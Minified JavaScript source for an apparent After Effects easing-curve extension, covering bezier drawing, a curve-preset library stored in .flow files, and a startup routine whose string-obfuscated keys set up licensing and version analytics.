            left: e * (t[2] * (1 - A[3] - A[1]) - A[3]) + "px",
            top: e * (1 - t[3] * (1 - A[0] - A[2]) - A[0]) + "px"
        }]
    },
    offsetsToCoordinates: function(A) {
        var e = this.padding,
            t = this.canvas.width,
            i = this.canvas.height * (t / Globals.basePanelSizes.baseCanvas);
        e = e.map(function(A, e) {
            return A * (e % 2 ? t : i)
        });
        var r = parseFloat(A.style.left),
            o = parseFloat(A.style.top),
            n = (r - e[3]) / (t + e[1] + e[3]);
        n = Util.clamp(n, 0, 1);
        var s = (t - o - e[2]) / (t - e[0] - e[2]);
        return n = n.toFixed(3), s = s.toFixed(3), [n, s]
    },
    plot: function(A, e) {
        var t = this.bezier.coordinates,
            i = this.canvas.getContext("2d");
        A || (A = {}), e = void 0 === e || e;
        var r = Prefs.get("flowTheme");
        for (var o in Globals.graphStyle[r].graph) o in A || (A[o] = Globals.graphStyle[r].graph[o]);
        var n = Globals.basePanelSizes.baseCanvas / jQuery(".graph").width(),
            s = n / 2 - .5;
        i.clearRect(0, -s, 1, n), i.beginPath().prop({
            lineWidth: A.bezierThickness,
            strokeStyle: A.bezierColor
        }).moveTo(0, 0).bezierCurveTo(t[0], t[1], t[2], t[3], 1, 1).stroke().closePath(), e && (i.beginPath().prop({
            fillStyle: A.handleColor,
            lineWidth: A.handleThickness,
            strokeStyle: A.handleColor
        }), i.moveTo(0, 0).lineTo(t[0], t[1]), i.moveTo(1, 1).lineTo(t[2], t[3]), i.stroke().closePath(), i.circle(t[0], t[1], 1.5 * A.handleThickness).fill().circle(t[2], t[3], 1.5 * A.handleThickness).fill())
    },
    getPadding: function(A) {
        var e = "number" == typeof A ? [A] : A;
        return 1 === e.length && (e[1] = e[0]), 2 === e.length && (e[2] = e[0]), 3 === e.length && (e[3] = e[1]), e
    }
};
var CubicBezier = function(A) {
    if ("string" == typeof A ? (0 == A.indexOf("#") && (A = A.slice(1)), this.coordinates = A.split(",")) : this.coordinates = A, !this.coordinates) throw "No offsets were defined";
    this.coordinates = this.coordinates.map(function(A) {
        return +A
    }), isNaN(this.coordinates[1]) && isNaN(this.coordinates[2]) && isNaN(this.coordinates[3]) && isNaN(this.coordinates[4]) && (this.coordinates = [.42, 0, .58, 1]);
    for (var e = 4; e--;) {
        var t = this.coordinates[e];
        if (isNaN(t)) throw "NaN coordinate at " + e + "(" + t + ") [" + this.coordinates + "]";
        if (!(e % 2) && (t < 0 || t > 1)) throw "Out-of-bounds coordinate at " + e + "(" + t + ") [" + this.coordinates + "]"
    }
    this.coordinates.toString = function() {
        return this.map(function(A) {
            return A.toFixed(2)
        }) + ""
    }
};
CubicBezier.prototype = {
    toString: function() {
        return "cubic-bezier(" + this.coordinates + ")"
    },
    applyStyle: function(A) {
        A.style.setProperty("-webkit-transition-timing-function", this, null)
    }
};
var BezierLibrary = function() {
    this.currentLibrary = Prefs.get("currentLibrary"), this.sortDirection = Prefs.get("currentSortDirection"), this.selectedThumbName = Prefs.get("currentSelectedThumbName"), this.deselectedThumbName = "", this.curves = [], this.freshLaunch = !0
};
BezierLibrary.prototype = {
    init: function() {
        Log.trace("\u2192 BezierLibrary.init");
        var A = document.getElementById("curve");
        Globals.bezierCanvas = new BezierCanvas(A, new CubicBezier(Prefs.get("currentCoordinates")), [0, 0]);
        var e = document.getElementById("lastCurve");
        if (Globals.lastBezierCanvas = new BezierCanvas(e, new CubicBezier([1, 1, 0, 0]), [0, 0]), localStorage.curves) {
            Log.info("BezierLibrary: Found old curves.. updating to new and saving..");
            var t = JSON.parse(localStorage.curves).map(function(A) {
                return {
                    name: A[0],
                    curve: A[1]
                }
            });
            this.save(t, Globals.userLibName), delete localStorage.curves, Log.info("BezierLibrary: Done updating legacy curves to new curves..")
        }
        if (Globals.firstRun) {
            var i = Globals.bezierCanvas.coordinatesToOffsets();
            Globals.P1.style.prop(i[0]), Globals.P2.style.prop(i[1])
        }
        "default" !== this.currentLibrary && (-1 === this.getUserLibNames().indexOf(this.currentLibrary) ? (Prefs.set("currentLibrary", "default"), this.currentLibrary = "default") : this.curves = this.getUserLibrary(this.currentLibrary)), GraphInteraction.updateGraph(), Log.trace("\u2190 BezierLibrary.init")
    },
    getUserLibNames: function() {
        Log.trace("\u2192 BezierLibrary.getUserLibNames");
        var A = require("fs"),
            e = Globals.libsPath;
        A.existsSync(e) || window.cep.fs.makedir(e);
        var t = A.readdirSync(e).filter(function(A) {
            return A.indexOf(Globals.userLibName) > -1 && A.indexOf(".flow") > -1
        }).map(function(A) {
            return A.split(".flow")[0]
        });
        return 0 === t.length && t.push(Globals.userLibName), Log.trace("\u2190 BezierLibrary.getUserLibNames: " + String(t)), t
    },
    sort: function(A) {
        Log.trace("\u2192 BezierLibrary.sort: " + A), this.sortDirection = A, Prefs.set("currentSortDirection", A), this.render(), Log.trace("\u2190 BezierLibrary.sort: " + A)
    },
    filter: function(A) {
        Log.trace("\u2192 BezierLibrary.filter", A), this.currentLibrary = A, this.curves = this.getFilteredCurves(), Prefs.set("currentLibrary", A), this.render(), Log.trace("\u2190 BezierLibrary.filter", A)
    },
    getFilteredCurves: function(A) {
        A = A || this.currentLibrary, Log.trace("\u2192 BezierLibrary.getFilteredCurves", A);
        var e = "default" === A ? Globals.predefined : this.getUserLibrary(A);
        return Log.trace("\u2190 BezierLibrary.getFilteredCurves", e), e
    },
    reorderItems: function() {
        Log.trace("\u2192 BezierLibrary.reorderItems");
        var A = this.currentLibrary;
        if ("default" === A) return void Log.trace("\u2190 BezierLibrary.reorderItems: On stock lib");
        var e = [];
        jQuery("#library a").each(function() {
            var A = jQuery(this),
                t = A.children()[1].title,
                i = this.bezier.coordinates.toString();
            e.push({
                name: t,
                curve: i
            })
        }), this.save(e, A), Log.trace("\u2190 BezierLibrary.reorderItems")
    },
    renameItem: function(A) {
        if (Log.trace("\u2192 BezierLibrary.renameItem"), 0 != A.length) {
            var e = A.children("span").attr("title"),
                t = this;
            swal(jQuery.extend(SwalConfig.rename, {
                text: "Graph values:\n" + Globals.bezier.coordinates.toString().replace(/,/g, ", "),
                inputValue: e,
                inputPlaceholder: e
            }), function(i) {
                return !1 !== i && (i === e ? (swal.close(), !1) : "" === i ? (swal.showInputError("Give it a name."), !1) : t.findCurveIndex(i) > -1 ? (swal.showInputError("This name is taken."), !1) : (t.curves = t.updateItem(t.curves, e, {
                    name: i
                }), t.save(t.curves, t.currentLibrary), t.render(), A.hasClass("selected") && t.setSelectedByname(i), void swal.close()))
            }), Log.trace("\u2190 BezierLibrary.renameItem")
        }
    },
    editItem: function(A) {
        if (Log.trace("\u2192 BezierLibrary.editItem"), 0 != A.length) {
            var e = A.children("span").attr("title"),
                t = A.attr("href").replace(/#/, "").replace(/,/g, ", "),
                i = this;
            swal(jQuery.extend(SwalConfig.editValues, {
                title: "Edit Values",
                inputValue: t
            }), function(t) {
                if (!1 === t) return !1;
                if (t.match(/^http:\/\/cubic-bezier.com\/\#/) && (t = t.replace(/^http:\/\/cubic-bezier.com\/\#/, "")), t.match(/\s/) && (t = t.replace(/\s/g, "")), t = t.split(",").map(function(A) {
                        return parseFloat(A)
                    }), 4 !== t.length || !1 === Util.checkInputValue(t)) return swal.showInputError("Wrong input values."), !1;
                var r = A.hasClass("selected");
                i.curves = i.updateItem(i.curves, e, {
                    curve: t
                }), i.save(i.curves, i.currentLibrary), i.render(), r && (A = jQuery("span[title='" + Util.jQuerySelectorEscape(e) + "']").parent().get(0), i.drawGraph.call(A)), swal.close()
            }), Log.trace("\u2190 BezierLibrary.editItem")
        }
    },
    add: function(A, e) {
        Log.trace("\u2192 BezierLibrary.add: " + String(A) + " - " + String(e));
        var t = this,
            i = document.getElementById("library"),
            r = document.createElement("canvas").prop({
                className: "libraryItem",
                width: Prefs.get("libraryItemSize"),
                height: Prefs.get("libraryItemSize")
            }),
            o = document.createElement("a").prop({
                href: "#" + e.coordinates,
                bezier: e,
                bezierCanvas: new BezierCanvas(r, e, .15),
                title: A,
                rel: "tooltip"
            });
        o.classList.add("libButton"), o.classList.add("hostFontLightBG"), o.setAttribute("data-placement", "auto left"), e.applyStyle || Log.warning("BezierLibrary.add: No style to apply..."), e.applyStyle(o);
        var n = r.getContext("2d");
        n.translate(0, -3.2), n.scale(1, 6), i.insertBefore(o, null), o.appendChild(r), o.appendChild(document.createElement("span").prop({
            textContent: A,
            title: A
        })), "default" !== this.currentLibrary && o.appendChild(document.createElement("button").prop({
            innerHTML: "X",
            title: "Delete preset",
            className: "hostBgdDark",
            onclick: function(A) {
                A.stopPropagation();
                var e = jQuery(this.parentNode);
                t.deleteItem(e)
            }
        })), o.bezierCanvas.plot(Globals.thumbnailStyle), o.onclick = function(A) {
            t.libraryItemClick(this, A)
        }, o.ondblclick = function(A) {
            t.libraryItemDblClick(this, A)
        }, Log.trace("\u2190 BezierLibrary.add: " + String(A) + " - " + String(e))
    },
    deleteItem: function(A) {
        function e(A) {
            Log.trace("\u2192 BezierLibrary.deleteItem.deleteACurve");
            var e = A.get(0),
                i = document.getElementById("library"),
                r = Env.env1("span", e).textContent,
                o = t.findCurveIndex(r);
            t.curves.splice(o, 1), t.selectedThumbName = "", Prefs.set("currentSelectedThumbName", t.selectedThumbName), t.save(t.curves, t.currentLibrary), A.tooltip("destroy"), i.removeChild(e), Log.trace("\u2190 BezierLibrary.deleteItem.deleteACurve")
        }
        Log.trace("\u2192 BezierLibrary.deleteItem");
        var t = this;
        !0 === Prefs.get("showAlerts") ? swal(SwalConfig.delete.confirm, function() {
            e(A), swal(SwalConfig.delete.success)
        }) : e(A), Log.trace("\u2190 BezierLibrary.deleteItem")
    },
    save: function(A, e) {
        Log.trace("\u2192 BezierLibrary.save");
        var t = require("path"),
            i = t.join(Globals.libsPath, e + ".flow");
        Util.writeToFile(i, JSON.stringify(A || this.curves)), Log.trace("\u2190 BezierLibrary.save")
    },
    getUserLibrary: function(A) {
        var e = require("path"),
            t = e.join(Globals.libsPath, A + ".flow"),
            i = Util.loadFromFile(t);
        return 0 === Object.keys(i).length ? [] : i
    },
    findCurve: function(A, e) {
        e = e || this.currentLibrary;
        for (var t = this.getFilteredCurves(e), i = 0, r = t.length; i < r; i++) {
            var o = t[i];
            if (o.name === A) return o
        }
    },
    findCurveIndex: function(A, e) {
        return e = e || this.currentLibrary, this.getFilteredCurves(e).findIndex(function(e) {
            return e.name === A
        })
    },
    updateItem: function(A, e, t) {
        Log.trace("\u2192 BezierLibrary.updateItem: Updating " + e + " to " + JSON.stringify(t));
        for (var i = 0, r = A.length; i < r; i++) {
            var o = A[i];
            if (o.name === e)
                for (var n in t) t.hasOwnProperty(n) && o.hasOwnProperty(n) && (A[i][n] = t[n])
        }
        return Log.trace("\u2190 BezierLibrary.updateItem: Updated " + e + " to " + JSON.stringify(t)), A
    },
    addImportedCurves: function(A, e) {
        Log.trace("\u2192 BezierLibrary.addImportedCurves"), !0 === e && (this.curves = []);
        for (var t = 0, i = A.length; t < i; t++) {
            var r = A[t];
            r.name = Core.getUniqueName(r.name, this.curves), this.curves.push(r)
        }
        Log.trace("\u2190 BezierLibrary.addImportedCurves")
    },
    libraryItemClick: function(A, e) {
        Log.trace("\u2192 BezierLibrary.libraryItemClick"), this.clearDeselected.call(A), this.selectThumbnail.call(A), this.drawGraph.call(A), Prefs.get("autoApplyCurve") && AE.applyCurve(e), Log.trace("\u2190 BezierLibrary.libraryItemClick")
    },
    libraryItemDblClick: function(A, e) {
        Log.trace("\u2192 BezierLibrary.libraryItemDblClick"), this.libraryItemClick(A, e), Prefs.get("autoApplyCurve") || AE.applyCurve(e), Log.trace("\u2190 BezierLibrary.libraryItemDblClick")
    },
    clearDeselected: function() {
        Log.trace("\u2192 BezierLibrary.clearDeselected"), this.deselectedThumbName = "", jQuery("#library > a.deselected").removeClass("deselected"), Log.trace("\u2190 BezierLibrary.clearDeselected")
    },
    deselectThumbnail: function() {
        Log.trace("\u2192 BezierLibrary.deselectThumbnail");
        var A = Env.env1(".selected", this.parentNode);
        A && (this.deselectedThumbName = this.selectedThumbName, A.classList.remove("selected"), A.classList.add("deselected"), A.bezierCanvas.plot(Globals.thumbnailStyle)), this.selectedThumbName = "", Prefs.set("currentSelectedThumbName", this.selectedThumbName), Log.trace("\u2190 BezierLibrary.deselectThumbnail")
    },
    selectThumbnail: function() {
        Log.trace("\u2192 BezierLibrary.selectThumbnail");
        var A = Env.env1(".selected", this.parentNode);
        A && (A.classList.remove("selected"), A.bezierCanvas.plot(Globals.thumbnailStyle)), this.classList.add("selected"), this.selectedThumbName = this.childNodes[1].innerHTML, Prefs.set("currentSelectedThumbName", this.selectedThumbName), Log.trace("\u2190 BezierLibrary.selectThumbnail")
    },
    setDeselectedByName: function(A) {
        if (Log.trace("\u2192 BezierLibrary.setDeselectedByName"), "" !== this.deselectedThumbName) {
            jQuery("span[title='" + Util.jQuerySelectorEscape(A) + "']").parent().addClass("deselected")
        }
        Log.trace("\u2190 BezierLibrary.setDeselectedByName")
    },
    setSelectedByname: function(A) {
        Log.trace("\u2192 BezierLibrary.setSelectedByName: " + A);
        var e = jQuery("span[title='" + Util.jQuerySelectorEscape(A) + "']");
        if (e.length > 0) {
            var t = e.closest("a")[0];
            t.bezierCanvas.plot(Globals.graphStyle[Prefs.get("flowTheme")].thumbnailStyleSelected), this.selectThumbnail.call(t)
        }
        Log.trace("\u2190 BezierLibrary.setSelectedByName: " + A)
    },
    updateP1P2: function() {
        Log.trace("\u2192 BezierLibrary.updateP1P2");
        var A = Globals.bezierCanvas.coordinatesToOffsets();
        Globals.P1.style.prop(A[0]), Globals.P2.style.prop(A[1]), GraphInteraction.updateParams(), Log.trace("\u2190 BezierLibrary.updateP1P2")
    },
    drawGraph: function() {
        Log.trace("\u2192 BezierLibrary.drawGraph"), GraphInteraction.updateLastGraph(Globals.bezier.coordinates), this.bezierCanvas.plot(Globals.graphStyle[Prefs.get("flowTheme")].thumbnailStyleSelected), Globals.bezierCanvas.bezier = Globals.bezier = this.bezier, Globals.bezierCanvas.plot(), GraphInteraction.updateLastCoordo(this.bezier), Globals.bezierLibrary.updateP1P2(), Log.trace("\u2190 BezierLibrary.drawGraph")
    },
    refreshSize: function() {
        Log.trace("\u2192 BezierLibrary.refreshSize");
        for (var A = document.getElementById("library"), e = Env.env2("a", A), t = e.length; t--;) A.removeChild(e[t]);
        var i, r = this.getFilteredCurves(),
            o = this;
        r.forEach(function(A) {
            try {
                i = new CubicBezier(A.curve), o.add(A.name, i)
            } catch (e) {
                Log.error("Error adding curve " + A.name + "(" + JSON.stringify(A.cuve) + ")\n" + String(e))
            }
        }), this.setSelectedByname(Prefs.get("currentSelectedThumbName")), UI.initializeTooltips(), Log.trace("\u2190 BezierLibrary.refreshSize")
    },
    render: function() {
        Log.trace("\u2192 BezierLibrary.render");
        for (var A = document.getElementById("library"), e = Env.env2("a", A), t = e.length; t--;) A.removeChild(e[t]);
        var i, r = this.getFilteredCurves(),
            o = this;
        if ("sortByDate" === this.sortDirection) r.forEach(function(A) {
            try {
                i = new CubicBezier(A.curve), o.add(A.name, i)
            } catch (e) {
                Log.error("Error rendering curve " + A.name + "(" + JSON.stringify(A.cuve) + ")\n" + String(e))
            }
        });
        else {
            var n = "sortAsc" === this.sortDirection ? 1 : -1;
            r.sort(function(A, e) {
                var t = A.name.toLowerCase(),
                    i = e.name.toLowerCase();
                return t < i ? -1 * n : t > i ? 1 * n : 0
            }), r.forEach(function(A) {
                try {
                    i = new CubicBezier(A.curve), o.add(A.name, i)
                } catch (e) {
                    Log.error("Error creating curve " + A.name + "(" + JSON.stringify(A.cuve) + ") in orderedNames\n" + String(e))
                }
            })
        }
        this.setDeselectedByName(this.deselectedThumbName), this.setSelectedByname(Prefs.get("currentSelectedThumbName")), UI.updateLibraryCSSSize(), UI.toggleThemeCSS(), UI.initializeTooltips(), Log.trace("\u2190 BezierLibrary.render")
    },
    updatateLibItemSize: function(A) {
        Log.trace("\u2192 BezierLibrary.updatateLibItemSize");
        var e = jQuery(".libraryItem").width(),
            t = e + A;
        t = Util.clamp(t, Globals.libraryItemLimits.min, Globals.libraryItemLimits.max), Prefs.set("libraryItemSize", t), this.refreshSize(), UI.updateLibraryCSSSize(), Log.trace("\u2190 BezierLibrary.updatateLibItemSize")
    }
}, window.addEventListener("error", ErrorHandler), window.onload = function() {
    Log.initLevel(), Log.trace("\u2192 window.onload");
    var A = {};
    A[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 17 - t)
        }).join("")
    }(32, 164, 161) + 877..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 23 - t)
        }).join("")
    }(59, 199) + 461..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 63 - t)
        }).join("")
    }(47, 226, 226, 219, 228, 226, 212, 196)] = Config.version.split("-")[0], A[14789..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 4 - t)
        }).join("")
    }(0, 101) + 29..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 31586..toString(36).toLowerCase()] = !1, A[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 43 - t)
        }).join("")
    }(9, 152, 170, 154, 150) + 21..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 2038249397..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 9 - t)
        }).join("")
    }(12, 133, 133, 126) + 20..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 389..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 0 - t)
        }).join("")
    }(47, 148)] = new Date("September 31, 2016"), A[28025301..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 49 - t)
        }).join("")
    }(7, 157) + 17..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 1825471871020..toString(36).toLowerCase() + 10..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -13)
    }).join("") + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 18 - t)
        }).join("")
    }(51, 143, 178, 184, 178, 179, 170, 167, 183) + 31586..toString(36).toLowerCase()] = Globals[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 44 - t)
        }).join("")
    }(35, 195, 196) + 531..toString(36).toLowerCase() + 20..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 14..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 62 - t)
        }).join("")
    }(48, 215, 228, 208)] ? "0" : Config[383..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 17 - t)
        }).join("")
    }(17, 157, 143, 131) + 1376812..toString(36).toLowerCase() + 19..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 52 - t)
        }).join("")
    }(5, 168) + 482..toString(36).toLowerCase()], A[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 57 - t)
        }).join("")
    }(15, 191, 177, 177, 175, 187, 184) + 18984..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 25 - t)
        }).join("")
    }(51, 188, 176, 145, 192, 177) + 27622..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 9 - t)
        }).join("")
    }(59, 176, 167)] = Core.preferencesCallback, A[462..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 39 - t)
        }).join("")
    }(35, 187, 148, 186, 187, 191, 189) + 1618517..toString(36).toLowerCase() + 29..toString(36).toLowerCase().split("").map(function(A) {
        return String.fromCharCode(A.charCodeAt() + -39)
    }).join("") + 527..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 57 - t)
        }).join("")
    }(63, 238, 239, 232, 190, 237) + 662..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 39 - t)
        }).join("")
    }(61, 215)] = {
        callback: Core.flyoutMenuClickedHandler,
        xml: "<MenuItem Id='refreshMenuItem' Label='Refresh Flow' />"
    }, Globals[10..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 6 - t)
        }).join("")
    }(25, 132) + 1033..toString(36).toLowerCase()] = new Aesp(A, Core.onLicenseStatusChange), Globals[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 29 - t)
        }).join("")
    }(39, 184, 185) + 14..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 50 - t)
        }).join("")
    }(46, 165, 210) + 515..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 4 - t)
        }).join("")
    }(2, 110, 123)] = Prefs.get(30..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 48 - t)
        }).join("")
    }(43, 193, 206) + 27..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 8 - t)
        }).join("")
    }(15, 123, 125, 91) + 1096..toString(36).toLowerCase()), Core.createContextMenu(), Globals.bezierLibrary = new BezierLibrary, Globals.P1 = document.getElementById("P1"), Globals.P2 = document.getElementById("P2"), Globals.bezierLibrary.init(), UI.buildLibraryTabs(), UI.toggleCSSTheme(), UI.updateLayoutFromConfig(), UI.initializeDragNDrop(), Globals.bezierLibrary.render(), UI.initializeTooltips(), EventHandlers.initializeDisabledModifiers(), EventHandlers.initEventHandlers();
    var e = new CSInterface;
    Globals.aesp[function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 58 - t)
        }).join("")
    }(28, 185, 197, 183) + 790..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 35 - t)
        }).join("")
    }(14, 165) + 660..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 18 - t)
        }).join("")
    }(53, 186)].event("AE Version", {
        VALUE: e.getHostEnvironment().appVersion
    }), Globals.aesp[383..toString(36).toLowerCase() + function() {
        var A = Array.prototype.slice.call(arguments),
            e = A.shift();
        return A.reverse().map(function(A, t) {
            return String.fromCharCode(A - e - 17 - t)
        }).join("")
    }(32, 172, 158, 146) + 1376812..toString(36).toLowerCase()].event("Flow Version", {
        VALUE: Config.version
    }), Layout.checkResized(), Globals.firstRun = !1, e.addEventListener("prefsClosed", function() {
        Globals.bezierLibrary.render(), GraphInteraction.updateGraph(), UI.initializeTooltips(), UI.toggleLibScalers(), UI.toggleLibraryIO(), UI.toggleCSSTheme(), Globals[function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 28 - t)
            }).join("")
        }(3, 134, 147, 148) + 27..toString(36).toLowerCase() + 20..toString(36).toLowerCase().split("").map(function(A) {
            return String.fromCharCode(A.charCodeAt() + -39)
        }).join("") + 515..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 59 - t)
            }).join("")
        }(12, 175, 188)] = Prefs.get(39902..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 54 - t)
            }).join("")
        }(36, 193, 159, 204) + 426..toString(36).toLowerCase() + function() {
            var A = Array.prototype.slice.call(arguments),
                e = A.shift();
            return A.reverse().map(function(A, t) {
                return String.fromCharCode(A - e - 2 - t)
            }).join("")
        }(10, 115)), Log.initLevel()
    }), setTimeout(function() {
        Layout.checkResized()
    }, 350), Log.trace("\u2190 window.onload")
};